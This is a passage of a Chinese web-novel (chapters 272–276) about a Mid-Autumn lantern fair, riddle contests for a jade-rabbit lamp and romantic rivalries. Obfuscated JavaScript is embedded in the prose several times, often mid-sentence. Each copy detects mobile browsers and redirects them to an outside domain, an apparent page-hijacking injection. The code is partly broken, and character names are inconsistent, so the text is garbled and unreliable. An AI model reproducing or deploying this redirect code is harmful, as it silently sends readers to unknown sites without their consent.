钱雅芝叹了口气。 大女儿不亲近,二女儿不在家,三女儿又是个闷葫芦,四女儿还小,什么也不懂。 这个中秋,过得真是冷清。 晏玥玥见母亲情绪低落,连忙将手中的玉兔灯递过去: “娘,您看这灯多漂亮,送给您!” 钱雅芝勉强笑了笑,接过灯笼。 可她心里,却怎么也高兴不起来。 她总觉得,自己好像失去了什么重要的东西。中秋夜市,灯火如昼。 宋溪溪与晏清澜并肩立于一处摊位前,各色花灯映照着她们年轻的脸庞。宋明澜稍稍落后几步,目光追随着自家妹妹和未来妹婿,眼神中融着宠溺与一丝几不可察的无奈。 “这灯真好看。”宋溪溪指尖轻轻滑过一盏莲花灯,转头去看身旁的晏清澜,却见她正望着另一头发呆,忍不住伸手在她眼前晃了晃,“阿清,你看什么呢?” 晏清澜回神,顺着她的手指也看向那盏莲花灯,轻轻“嗯”了一声,却没有说话。 就在这时,人群中忽然一阵骚动,一个娇俏的身影挤了出来,杏黄色镶兔毛的披风随着她的动作轻轻摇曳。 “明澜哥哥!” 清脆的声音响起,那小姑娘径直走到宋明澜身前,伸手轻轻拍了下他的肩膀。 宋明澜一怔,下意识地转过身。 映入眼帘的,是一位戴着半遮面具的小姑娘,身形娇小,看不清面容。 宋明澜平日里除了与自家姐妹,极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436310|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少同别的女子有这般亲昵的举动,此刻竟有些不知所措。 “你……”他迟疑着开口,语气中带着几分探寻,“是哪家的小姐?” 小姑娘闻言,眼中闪过一丝狡黠,她缓缓摘下面具,露出精致无瑕的脸庞,如月下初绽的玉兰。 宋明澜看清她的模样,瞳孔微微一缩,脱口而出:“五……” 仅仅吐出一个字,便被那小姑娘急急打断。韩清韵飞快地拉住他的袖子,轻轻摇晃,做了个“噤声”的手势,眼神中带着几分恳求,几分娇嗔。 宋明澜瞬间明了,唇角勾起一抹无奈又纵容的笑意,他顺势改口:“原来是沈三姑娘,你怎么……出来了?” 今日是中秋,按理说她该在宫中赴宴才是,怎会出现在这熙熙攘攘的夜市中? 韩清韵微微垂首,颊边泛起一抹淡淡的红晕,声音也低了几分,像极了做错事被抓包的孩子:“宫里头……太闷了,我,我悄悄溜出来的。父亲母亲……他们都不知道。” 她一边说着,一边偷偷抬眼去觑宋明澜的反应,生怕他会责怪自己。 宋明澜看着她这副模样,只觉得好笑,他苦笑着晃了晃脑袋,心中暗忖:这姑娘家,果然都是爱玩的性子,就如同小时候的溪溪,也总是想方设法地溜出府去。 “那……你一个人出来的?”宋明澜还是不放心,下意识想问清楚。 “我……”韩清韵刚想说什么,忽然注意到宋明澜身后不远处,顿时眼睛一亮。 “阿清跟溪溪呢?”她直接略过宋明澜的问题,语带兴奋。 宋明澜顺着她的目光看去,只见人群中,宋溪溪与晏清澜正围在一处摊位前,似乎在挑选着什么。 “在那儿呢,”宋明澜指了指,“在挑玉兔灯。” 镜头随着他的指向,转向了宋溪溪。 此刻,她正苦着一张小脸,可怜巴巴地望着眼前的花灯匠人,声音中带着几分不甘和期盼:“大伯,这玉兔灯,难道真的不能花钱买到吗?” 她手中捏着一只精致的玉兔灯,爱不释手。 匠人笑呵呵地摇了摇头,捋了捋胡须:“姑娘有所不知,这是小老儿的规矩,答对十道灯谜题,方可兑换玉兔灯。” 宋溪溪闻言,顿时垮下肩膀,整个人都蔫了。猜灯谜,她可实在不擅长,这可如何是好? 第二百七十二章 她垂头丧气地拿起一张写着灯谜的纸笺,细细读了起来:“身黑似木炭,腰插两把扇,往前走一步,就得扇一扇……” 宋溪溪眉头紧蹙,苦苦思索着,这究竟是什么? 她试探着问:“乌鸦?” 摊主笑眯眯地捋了捋胡子:“姑娘好才思。” “一年三季无春光。” 宋溪溪眼睛一亮,这个简单,她不假思索道:“春节!” “农家四月游人稀。” 宋溪溪又卡住了,这说的是什么?她求助地看向晏清澜。 晏清澜微微一笑,正要开口,旁边一个声音更快:“芒种。” 两人齐齐回头,正对上姚澜那张似笑非笑的俊脸。 “画卷之内云将涌。”宋溪溪没好气地瞪了他一眼,继续看下一个。 姚澜也不在意,慢悠悠地开口:“冬至。” “庭外依稀听猿啼,古桥明月伴箫音。” 宋溪溪咬着唇,这可难住她了,正想着,姚澜又开了口:“元宵。” 宋溪溪一愣,脱口而出:“你怎么知道?” 姚澜笑而不语。 “世间欢乐阖家时,广寒宫里泪千行。”匠人念出新的灯谜。 宋溪溪这回没再纠结,张口就答:“中秋!这个我知道!” “寒冬腊月冷飕飕。” 不等宋溪溪反应,姚澜便答道:“天冬。” 宋溪溪忍不住又瞪了他一眼,这家伙,怎么什么都知道? “寒冬季节绿油油。”姚澜几乎是同步给出了答案,“夏竹。” 他接连答对,宋溪溪心中又急又气,却又无可奈何。 眼看还剩最后一个灯谜,她就能拿到心心念念的玉兔灯了,却偏偏被这个半路杀出来的姚澜给搅了局。 “头顶华冠禽中稀,”匠人缓缓念道,“浑身锦绣爱炫耀,尾如折扇可开合,羽毛展开美如画。” 宋溪溪飞快地在脑海中搜寻着答案,可还没等她想出个所以然来,姚澜那清越的声音便再次响起:“孔雀。” “你……”宋溪溪气结,却又不得不承认,他答对了。 月色下,姚澜看着她,眸光流转,似有星光洒落。 “姚澜,”宋溪溪深吸一口气,努力平复着自己的情绪,“你是不是……故意的?” 姚澜挑眉,笑意更浓:“溪溪,四年未见,你还是这般……聪慧。” 他这话,也不知是夸奖还是讽刺。 宋溪溪轻哼一声,别过头去,懒得理他。 “四年前,是谁信誓旦旦地说,宁愿从城楼上跳下去,也绝不嫁给我的?”姚澜忽然凑近了些,声音压低,带着几分戏谑,“怎么,如今改主意了?” 宋溪溪的脸颊,腾地一下红了,她恼羞成怒地瞪着姚澜,却一句话也说不出来。 她总不能告诉他,四年前的她年少无知,眼瞎心盲,如今才发现,他竟是这般…… 宋溪溪暗自咬牙,强迫自己冷静下来。 “你少得意!”她反唇相讥,“我才不会嫁给你!倒是你,整日里无所事事,游手好闲,京城里谁不知道尹家公子是个不学无术的纨绔子弟?” 姚澜也不生气,只是笑眯眯地看着她:“那又如何?反正有人养我。” “你……”宋溪溪被他噎得说不出话来,气得直跺脚。 晏清澜在一旁看着,差点没笑出声来。 她眼珠一转,计上心来。 “尹公子,”晏清澜忽然开口,打断了两人之间的僵持,“你既然这么厉害,想必这京城中,也没有你不知道的事情吧?” 姚澜看向她,目光中带着几分探究。 晏清澜微微一笑,继续说道:“我听说,最近京城里出了个采花大盗,专挑年轻貌美的女子下手,闹得人心惶惶。尹公子可知道,这采花大盗的底细?” 她这话一出,不仅姚澜愣住了,就连宋溪溪也瞪大了眼睛。 这事儿,她怎么不知道? 姚澜的脸色,瞬间沉了下来。 他当然知道这件事情,不仅知道,还亲自参与了追捕。只是,这采花大盗狡猾异常,几次都让他给逃脱了。 “晏四小姐是从何处听来的消息?”姚澜沉声问道,语气严肃。 晏清澜耸耸肩,一脸无辜:“我也是听人说的,具体情况,我也不清楚。不过,尹公子既然这么厉害,想必一定能查出真相,还京城百姓一个安宁吧?” 她这话,明着是夸赞姚澜,实则却是给他挖了个坑。 姚澜若是应下了,便不得不全力追查此事,若是查不出来,岂不是自打脸面? 可若是不应,岂不是承认自己无能? 姚澜深深地看了晏清澜一眼,忽然笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436311|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晏四小姐果然聪慧过人,”他缓缓说道,“这件事情,我定会查个水落石出。” 他这话,既是应下了晏清澜的激将,也是在向宋溪溪表明,自己并非她口中那般不学无术。 宋溪溪看着他,眼神复杂。 晏清澜见状,知道自己的目的已经达到,便悄悄地往后退了几步,将空间留给他们二人。 临走前,她还不忘朝宋明澜的方向看了一眼。 只见宋明澜依旧与韩清韵相谈甚欢,丝毫没有注意到这边的动静。 晏清澜无奈地摇了摇头,转身朝不远处的面具摊子走去。 “小龙船,龙船小,龙舟细长两端尖,湖中漂浮整个秋,盛着一枚雪白宝。” 宋溪溪再次看向这最后一个灯谜。 她知道,这是菱角。 可她偏偏不想这么快就说出答案。 她偷偷地瞥了姚澜一眼,见他正看着自己,目光灼灼,似乎在等待着什么。 宋溪溪的心跳,忽然有些快。夜色如水,月华流淌,将灯市点染得如梦似幻。 姚澜站在宋溪溪身后,身影被灯光拉得修长。 他眼底的笑意,像是盛满了这世间所有的温柔。 宋溪溪却觉得脸上发烫,像是被架在火上烤。 “这算什么事儿嘛!” 她心里一阵烦躁,“这眼神,分明就是看不起人!” 虽说姚澜一言未发,可宋溪溪偏偏就从他那眼神里,读出了满满的嘲讽。 “猜不出来!我不玩了!” 她猛地转身,气呼呼地就要离开。 姚澜却快步上前,轻轻拽住了她的衣袖。 “这是怎么了?” 他声音里带着笑,又有些无奈,“猜不出来,你就不能问问我?” 宋溪溪猛地回头,眼睛瞪得溜圆,里头明明白白写着“不信”: “你会这么好心帮我?” 姚澜没回答,只是轻轻抬手,将她肩头落的一片红纸拂去。 动作轻柔得,像是在对待什么珍宝。 他从宋溪溪手里拿过那张灯谜纸条,垂眸细看: “小龙船,龙船小,画舫船头如剑锋,湖面漂荡度秋光,揣着一枚银光闪。” 片刻后,他抬起头,唇角微微勾起: “这谜底,是菱角。 第二百七十三章 ” 一旁的灯谜匠人也笑呵呵地应和: “公子真是厉害,一猜就中!” 宋溪溪一听,眼睛瞬间亮了起来,她激动地扯了扯姚澜的袖子: “猜对了!我们猜对了!” 声音里满是掩饰不住的喜悦。 姚澜低头,看着那只紧紧抓住自己袖口的小手。 那手白皙纤细,指甲圆润可爱。 他唇边的笑意更浓,但面上依旧是那副波澜不惊的模样。 宋溪溪这会儿可没心思观察他的神色,她指着最上方那盏流光溢彩的玉兔灯,声音都有些发颤: “我想要那个!” 姚澜的目光,从她的手上缓缓移到她的脸上。 那眼神,专注得像是要把她看进心里去。 那灯谜匠人是何等眼力,只一眼,便瞧出了几分端倪。 他捻了捻胡须,面上露出几分难色: “这位姑娘,实在抱歉,方才是老朽一时疏忽,忘了说清楚。那顶端悬着的月兔灯,必须答对十五道灯谜,才可取走。” 宋溪溪脸上的笑容,顿时僵住。 “十五个……” 她声音都有些发抖。 先前那十个,她还是靠着晏清澜和姚澜帮忙,才勉强过关的。 这十五个……她还是直接放弃算了! “姑娘莫急,”那匠人笑眯眯地朝姚澜一指,“这位公子一看就是满腹经纶,定能助姑娘心想事成。” 说话间,他还朝姚澜使了个眼色。 今晚月色虽美,却不及这位公子眼中的柔情。 姚澜见状,先是微微一怔,随即朝那匠人回以一笑。 他转过头,看向宋溪溪,声音轻柔: “真就这么想要?” 宋溪溪此刻也顾不上其他,只一个劲儿地点头,眼睛亮得像是落满了星子: “只要你帮我拿到那盏花灯,我……我请你吃饭!” 她想了想,似乎觉得还不够,又补充道:“京城里有名的酒楼,随你挑!” 月光下,美人如花。 姚澜只觉得心头一片柔软。他微微扬眉,唇角勾起一抹愉悦的弧度: “好,这话可是从你口中说出。” 宋溪溪笑得眉眼弯弯,像是枝头绽放的桃花。 她伸手取下一张灯谜纸条,展开念道: “今夜**同赏月。” 姚澜几乎是脱口而出: “猴年马月。” 宋溪溪点点头,表示认可,又取下一张: “雾中远山横,城中星点点。” “冬至。” 回答得依旧迅速。 宋溪溪眨了眨眼,接连又取了几张,姚澜都是对答如流。 “‘表面一套心里一套’,这个要猜一个花名。”宋溪溪念完,补充道。 “水仙。”姚澜看着她,眸光流转。 宋溪溪感觉心跳都快了几分, “‘有雨就有霜,无雨不成霜。四方八面皆是路,稀疏星辰伴新月’,这又是什么?”她问。 姚澜凝视着她,目光温柔: “是‘相思’。” 他替她将落在肩头的碎叶拂去,动作轻柔。 宋溪溪觉得自己脸颊发烫,心跳得厉害, 她连忙取过另一张纸条,来掩饰自己的不自在: “‘从来分别皆思念,正欲西行喜事至’。” 刚念完,她就后悔了。 这都是什么跟什么啊! 她正想把纸条塞回去,姚澜却已经看着她的眼睛,缓缓说出了答案: “喜欢。” “……”宋溪溪简直想找个地缝钻进去。 她今天这是走了什么霉运! 这些灯谜,怎么一个比一个……让人难为情! 那匠人看着两人,只是笑,并不说话。 他将那盏最漂亮的玉兔灯取下,递给姚澜: “公子,拿好喽。” 姚澜接过灯,垂眸看向宋溪溪。 她耳根通红,眼神闪躲,就是不敢与他对视。 “给,你心心念念的月兔灯。” 姚澜的声音里带着笑意,还有一丝不易察觉的温柔。 宋溪溪却觉得浑身不自在,她咬了咬唇,猛地转身就跑: “谁说我要了!不要了,送你了!” 她跑得飞快,声音里带着几分气急败坏。 身后传来姚澜的低笑。 那匠人看着两人的背影,也笑着摇了摇头。 宋溪溪一口气跑到卖面具的摊子前,这才停下。 她胸口剧烈起伏,脸色通红,一把拉住晏清澜的胳膊,声音急切: “阿清姐姐,我们走,快走!” 晏清澜见她这副模样,又见她两手空空,不禁疑惑: “怎么,那玉兔灯没拿到手?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439716|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 按理说,姚澜不至于连这个都搞不定。 宋溪溪正要开口,却见姚澜提着那盏玉兔灯,不紧不慢地走了过来。 “你跑什么?”姚澜看着她,眉梢微挑,“灯不要了?” 宋溪溪心虚地别开眼,嘴硬道:“谁……谁稀罕了!” 晏清澜看看姚澜,又看看宋溪溪,心里跟明镜似的。 宋溪溪紧紧拽着晏清澜的袖子,指尖用力到泛白,语气却依旧强硬: “算了吧我不想要了!你拿走!” 姚澜看着她,苦笑着摇了摇头。 他将灯递向晏清澜,语气温和: “晏四姑娘,能否麻烦你,帮我把这灯……交给溪溪?” 他顿了顿,又补充道:“我瞧着,她心里还是喜欢的,只是这会儿……嘴硬罢了。” 晏清澜看着姚澜那双含笑的眼睛,再看看宋溪溪那副“口是心非”的模样,只觉得一阵无奈。 “好吧。” 她叹了口气,伸手接过那盏玉兔灯。 这算什么事儿啊! 她觉得自己今晚这顿“狗粮”,吃得可真是饱饱的。“好巧,晏四姑娘也在这儿。” 带着几分熟悉的腔调,声音由远及近。晏清澜拎着手里那盏精致的玉兔灯,缓缓转过身。 视线里,先是映入杨澜那张似笑非笑的脸,再一侧目,便瞧见了神色复杂的晏子晏。 晏清澜眉心几不可察地动了动,面上却依旧维持着得体的疏离,“韩小公子。” 杨澜的目光在她身上一扫,落在那盏玉兔灯上,又极快地移开,转而看向她身旁的姚澜。那眼神,玩味中带着几分难以言喻的探究,仿佛在无声地询问着什么。 同样盯着的还有晏子晏。他直勾勾地看着姚澜,准确地说,是盯着姚澜和晏清澜之间的那盏花灯,眼神像要把那花灯盯出个洞来。 他和杨澜方才都瞧见了,是姚澜,亲手将这盏花灯递给了晏清澜。 虽然隔得远,没能听清他们之间的对话,但姚澜眼中流淌的笑意、温柔的神情,却是真真切切的,想忽略都难。 而晏清澜……接过灯后,她低垂着眼睫,盯着自己绣鞋的鞋尖,那模样,分明是女儿家的娇羞,让人一看便知其中有异。 晏子晏心里头那股子闷气,像被点燃的爆竹捻子,滋滋啦啦地往上冒。 他妹妹生得这般好看,招蜂引蝶也是难免,可也不能这么个招法! 第二百七十四章 前脚刚送走一个,后脚又来一个,没完了这是? 尤其是,阿清居然还收了姚澜送的花灯!平日里也没见她对自己这个哥哥这般好脸色。 晏子晏越想越不得劲,看向姚澜的眼神里,敌意都快要溢出来了。 这家伙,平时跟童玄珏不清不楚的也就罢了,现在居然还敢打他妹妹的主意? 简直是老虎头上拔**! 晏子晏暗自磨了磨牙,又狠狠地瞪了身边的杨澜一眼,眼神那叫一个恨铁不成钢。 平时不是挺能说的吗?怎么一到关键时刻就掉链子!看看人家姚澜,再看看你,简直是…… 晏子晏心里那个气啊,可又不能当着晏清澜的面发作,只能憋着。憋到最后,他干脆直接开口:“阿清,我刚瞧见那边有卖糖人的,捏得可好看了,要不,咱也去看看?” 他一边说着,一边小心翼翼地观察着晏清澜的反应,生怕她再拒绝。 汴京城里过中秋,除了放“醉霞红”,还有不少别的新鲜玩意儿。 捏糖人就是其中之一。手艺好的师傅,能把糖稀捏成各种栩栩如生的形状,小孩子最是喜欢。 晏清澜自然也知道这习俗,但她对这些并不感兴趣。 “四哥若是喜欢,便自己去吧,”她微微抬了抬眼,语气淡淡的,“我在这儿陪溪溪就好。” 晏子晏一听这话,原本还带着几分期待的眼神,顿时黯淡了下来。 但他很快又打起精神,换了个说法:“哎呀,我不是想去看糖人,我是……我是想让你去看看杂耍!那边有杂耍班子,可热闹了!我还有事,走不开,你让杨澜陪你去,他对这儿熟!” 他琢磨着,阿清可能是嫌自己烦,才不愿去的。 谁知,他这话一出口,周围的空气都像是凝固了一般。 杨澜更是尴尬地轻咳了两声,才缓缓开口:“晏四姑娘若是不嫌弃,在下倒是可以……” 话还没说完,就被晏清澜打断了:“多谢韩小公子好意,不过,我真不爱看那些。” 她语气客气,却也透着不容置疑的拒绝。 姚澜在一旁看着,嘴角微微上扬,露出一抹不易察觉的笑意。 他慢悠悠地将手背到身后,清冷的皎洁的月辉笼罩着他的身影,仿佛给他镀上了一层银辉。 “晏四姑娘既然喜欢清静,又何必强求?”他淡淡地开口,目光若有若无地扫过杨澜,“再说,汴京城里好玩的地方多了去了,也不一定非得去人多的地方凑热闹。” 他这话,表面上是在劝晏子晏,实际上却是在敲打杨澜。 姚澜是什么人?他能看不出晏子晏那点小心思? 无非就是想给杨澜制造机会罢了。 可他偏偏就不让晏子晏如愿。 童玄珏那家伙,虽然平时不干人事,但好歹也算他半个朋友。朋友妻,不可欺,这道理他还是懂的。 再说了,童玄珏那厮难得动了凡心,他总得帮着点儿吧? 姚澜想到这里,又在心里暗骂了童玄珏一顿。 大过节的也不知道出来转转,活该被人惦记媳妇! 另一边,杨澜听了姚澜的话,脸色微微一变。 他自然听出了姚澜话里的警告意味,这让他心里很是不舒服。 他不动声色地打量着姚澜,眼神中带着几分审视和探究。 “尹公子这话说的,”他突然笑了笑,语气中带着几分意味深长,“我还以为,尹公子今儿个会陪着燕王殿下,赏月饮酒,吟诗作对呢。” 这话一出,场面顿时变得有些微妙。 谁不知道,姚澜和燕王童玄珏之间的那些传闻? 杨澜这会儿提起,分明是故意的。 姚澜的脸色瞬间沉了下来,眼中闪过一丝冷意。 他知道,杨澜这是在故意挑衅。 既然如此,那他也没必要客气了。 “韩公子倒是消息灵通,”姚澜冷笑一声,“不过,我与燕王殿下如何,似乎与韩公子无关吧?倒是韩公子,不去醉月楼,反倒在这儿闲逛,莫不是……转了性子?” 他这话,看似随意,实则暗藏机锋。 谁不知道,杨澜是醉月楼的常客? 姚澜这会儿提起,自然也是意有所指。 杨澜的脸色,顿时变得有些难看。 他没想到,姚澜竟然会当众提起这事。 他下意识地想去看晏清澜的反应,却发现她依旧是那副云淡风轻的模样,似乎对他们之间的对话毫不在意。 杨澜心中一沉,只觉得一股莫名的烦躁涌上心头。 他张了张嘴,想说些什么,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439717|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不知道该说什么。 就在这时,晏子晏忍不住开口了:“姚澜,你在这瞎扯什么?!” 他气得瞪大了眼睛,一副要跟姚澜理论的架势。 “晏四公子何必动怒?”姚澜却是一脸无辜地看着他,语气中带着几分戏谑,“不过是玩笑话罢了,当不得真。” 他才不怕得罪晏子晏呢。 反正晏清澜对晏子晏也没什么好脸色,得罪了也就得罪了。 倒是宋明澜,那才是真正不能得罪的。 要是得罪了宋明澜,别说是童玄珏,就连他自己,也得玩完! 宋溪溪在一旁看得津津有味。 她怎么也没想到,自己竟然会亲眼目睹这么一场“大戏”。 这可比戏文里唱的还要精彩! 她暗自庆幸,幸好自己今儿个出门了。 要不然,岂不是错过了这么一场好戏? 她甚至开始幻想,要是自己手里再有一把瓜子,那就更完美了!“溪溪这小眼神,是看穿一切了啊?” 晏子晏和杨澜前脚刚走,姚澜后脚就反应过来,合着这古灵精怪的小丫头刚才是在飙演技呢。 不过,宋溪溪对他的态度倒是来了个一百八十度大转弯,居然还对他笑了,这可真是意外之喜。 姚澜心里美得冒泡。 宋溪溪拎着那盏漂亮的玉兔灯,在姚澜面前晃了晃,笑眼弯成小月亮。 “就猜到你会反悔,”姚澜的嘴角忍不住上扬,“还好我没拿着这盏灯。” 宋溪溪得意地瞥了他一眼,小下巴微微抬起:“那是自然,这本就是你该做的。” 她心里的小算盘打得可精了:姚澜心悦阿清姐姐,而她是阿清姐姐最疼爱的妹妹,姚澜想抱得美人归,可不得先过她这关? 这么看来,这姚澜还算识相。 不过,这事儿她说了不算,得问问阿清姐怎么想。 姚澜轻轻挑眉,看着眼前这只骄傲的小孔雀。 月色下,小哥哥笑得暖心,眼中仿佛盛满了细碎的星光。 他微微颔首,声音低沉而有磁性:“嗯,这本就是我的职责所在。” 万家灯火,皎洁月光,都不及他此刻眼眸动人分毫。 一旁的晏清澜只觉得自己被硬塞了一嘴狗粮,齁得慌。 第二百七十五章 她压根就没意识到,这俩人完全不在一个频道。 此刻,她只想引吭高歌一曲: “我该躲在车底下,而不是坐在车内,瞧见你俩多么般配……” 宋溪溪眼角的余光瞥见自家大哥宋明澜正和一个姑娘聊得火热。 那姑娘穿着杏黄色的斜襟衫,下身是雪色织金马面裙,怎么看怎么觉得眼熟。 她凑近一瞧,顿时倒吸一口凉气。 这不是三公主韩清韵吗?! 天呐!她大哥这是要走桃花运了! 宋溪溪激动得差点跳起来。 可转念一想,在场这么多人,似乎只有她还是形单影只? 瞬间,一股莫名的酸楚涌上心头。 不行,她还有小说里的男神大大! 宋溪溪这么一想,顿时觉得心里平衡多了。 她眼珠子滴溜溜一转,突然有了主意。 她凑到晏清澜身边,轻轻扯了扯她的袖子: “阿清姐姐,我瞧着江边那边热闹得很,像是在放烟花,咱们也去凑凑热闹?” 她又转头看向姚澜,语气那叫一个理所当然: “姚澜,你应该懂得去河边的近道吧?带路吧铁子。” 姚澜唇角微勾,眼底笑意流转: “乐意之至。” 晏清澜嘴角微微抽搐。 她一点儿也不想去凑这个热闹。 大过节的,她可不想做什么电灯泡,尤其还是瓦数最大的那种。 可架不住宋溪溪一脸期待地望着她,还一个劲儿地摇着她的袖子撒娇。 晏清澜无奈地叹了口气,伸手轻轻捏了捏宋溪溪的脸颊: “你呀,对你是真的无语了,走吧走吧,陪你去就是了。” 姚澜的目光落在晏清澜和宋溪溪亲昵的动作上,微微一顿,眸色深了几许,却没说什么。 三人并肩朝江边走去。 宋溪溪心里有些疑惑,姚澜怎么会和她们走在一起? 难不成是想借机和阿清姐姐多相处? 可走了没多久,她就觉得更奇怪了,姚澜这路数不对啊,哪有和心上人并肩走,却隔着一个“障碍物”的? 姚澜要是真有这份心,就不该走在她旁边啊! 宋溪溪百思不得其解,但也没深究,毕竟她对这些情情爱爱的事情还不太懂。 走着走着,宋溪溪突然想起什么似的,惊呼一声: “糟了!我好像把香囊落下了,就在猜灯谜那儿!” “啊?你不是收起来了吗?” 晏清澜话还没说完,宋溪溪就朝她挤眉弄眼一番,然后急匆匆地提着裙摆跑开了: “你们先过去,我随后就到!” 晏清澜愣在原地,表情那叫一个精彩。 她有些哭笑不得地看向姚澜,眼神里充满了同情和无奈。 姚澜被她看得心里发毛,眉头微蹙: “晏四小姐,你这是……” 晏清澜深吸一口气,决定还是好心提醒一下这个可怜的家伙: “尹公子,建议你赶紧去追人,溪溪她……可能误会了什么。” “误会?”姚澜一愣,脸色有些发僵,“该不会是……” 晏清澜无奈地点点头,揉了揉眉心,对宋溪溪那跳脱的思维方式感到头疼: “就是你想的那样,她以为你对我有意,想给我们制造独处的机会呢。” 晏清澜简直要被宋溪溪给蠢哭了,这丫头居然以为姚澜喜欢的人是她! 姚澜恍然大悟,连忙冲晏清澜拱手行礼,语气诚恳: “多谢晏四小姐指点迷津。” 晏清澜摆摆手,哭笑不得: “行了,快去追吧,别让她误会太深,不过也别吓着她。” 姚澜点点头,转身就往回跑。 多亏了晏清澜反应快,不然他还真不知道宋溪溪这丫头脑子里竟然有这么离谱的想法。 要是他和晏清澜单独相处的时间太长,被童玄珏知道了,那可真是跳进黄河也洗不清了。 然而,怕什么就来什么。 这一幕,恰巧被童玄珏和舒临风看了个正着。 “阿珏,你瞧见没?” 舒临风摇着折扇,桃花眼微微上挑,还不忘用扇柄轻敲童玄珏的胳膊。 “姚澜那厮也太不地道了!居然想挖你的墙角!” 舒临风用折扇半遮面,展露出那双电力十足的狐狸眼,语气夸张: “你刚才看到他那个眼神没?简直了!笑得那叫一个……春心荡漾!” 这家伙纯粹是唯恐天下不乱,还不忘添油加醋: “还有晏四小姐,那眼神,啧啧,分明是对姚澜依依不舍啊!阿珏,你可得抓紧了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450359|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你长得比姚澜那小子好看多了,只要你稍微主动点,绝对能把他比下去!我可等着喝你和晏四小姐的喜酒呢!” 童玄珏是被舒临风强行从澜王府拉出来的。 理由是今天是中秋佳节,就算不喝酒赏月,也该出来感受一下这热闹的气氛。 说不定还能发现什么有趣的小玩意,买回去送给心上人。 东西贵不贵重不重要,重要的是让姑娘家知道,无论何时何地,他都把她放在心上,看到什么好东西都会第一时间想到她。 童玄珏就是被这番话给说服了,这才跟着舒临风出来凑热闹。 这会儿,舒临风还在他耳边唠叨个没完: “阿珏,你说姚澜那小子干嘛突然丢下晏四小姐自己跑了?他该不会是……” “闭嘴!” 童玄珏终于忍无可忍,打断了舒临风的话,抬手捏了捏眉心。 舒临风这才不情不愿地闭了嘴。 他也没想搞事情,毕竟姚澜也算得上是他的朋友,虽然他平时没少损他。 他就是看不惯童玄珏这慢条斯理的性子。 喜欢人家姑娘还这么不温不火的,也不怕煮熟的鸭子飞了! 舒临风指了指远处独自一人赏月的晏清澜: “你看,晏四小姐现在一个人在那儿,多好的机会啊,你怎么还不赶紧趁机凑上去?还在这儿等什么呢?” 童玄珏淡淡地瞥了舒临风一眼,不仅没有上前,反而转身朝着相反的方向走去。 舒临风差点没被他气得当场去世。“做什么?” 清冽的声音如月色倾洒,突兀地在身侧响起,打断了这边的喧闹。 宋溪溪猛地转过头,晏清澜那张明艳生动的脸庞便映入眼帘。她一袭红衣,衬着月华流淌,仿佛从九天揽月而来的仙子,偏又带着几分触手可及的温婉笑意。 “阿清姐姐!” 宋溪溪惊喜地叫了一声,几乎是下意识地松开了手。 “咚”的一声,那盏精致的金凤灯应声落地,骨碌碌滚到了一旁——还好,被眼疾手快的姚澜捞在了手里。 但此刻,宋溪溪哪里还顾得上这些。她像一只归巢的乳燕,几步并作一步地扑到晏清澜身边,亲昵地挽住她的胳膊,一双杏眼亮晶晶的,上上下下地打量着,话语里满是关切: “阿清姐姐,你可算来了! 第二百七十六章 这一路上没遇着什么麻烦吧?有没有碰上什么不长眼的登徒子?” 晏清澜摇了摇头,眼睫微垂,遮住了眸中一闪而逝的复杂情绪。 耳畔,是烟花炸裂的喧嚣声,热闹得仿佛要将人的心都震碎。她这一路走来,倒是清净,没遇上什么不开眼的。 